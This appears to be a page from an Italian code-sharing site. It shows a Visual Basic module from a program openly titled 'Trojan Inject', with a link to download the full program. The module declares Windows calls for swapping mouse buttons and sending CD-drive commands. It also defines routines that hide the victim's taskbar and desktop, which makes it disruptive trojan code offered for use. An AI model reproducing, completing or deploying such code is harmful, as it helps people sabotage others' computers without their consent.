Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Trojan Inject - modCdRom.bas

modCdRom.bas

Caricato da:
Scarica il programma completo

  1. Attribute VB_Name = "modFunctions"
  2. Private Const SW_HIDE As Long = 0
  3. Private Const SW_SHOW As Long = 5
  4. Private Const GW_CHILD As Long = 5
  5. Private Declare Function GetWindow Lib "User32.dll" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
  6. Public Declare Function FindWindow Lib "User32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  7. Public Declare Function ShowWindow Lib "User32.dll" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
  8. Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
  9. Declare Function SwapMouseButton& Lib "user32" (ByVal bSwap As Long)
  10. Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
  11.  
  12. Public Sub ShowTaskBar(Visible As Boolean)
  13. ShowWindow FindWindow("Shell_TrayWnd", ""), (IIf(Visible, SW_SHOW, SW_HIDE))
  14. End Sub
  15.  
  16. Public Sub ShowDesktop(Visible As Boolean)
  17. Dim DesktopWnd As Long
  18. DesktopWnd = FindWindow("Progman", "Program Manager")
  19. DesktopWnd = GetWindow(DesktopWnd, GW_CHILD)
  20. ShowWindow DesktopWnd, (IIf(Visible, SW_SHOW, SW_HIDE))
  21. End Sub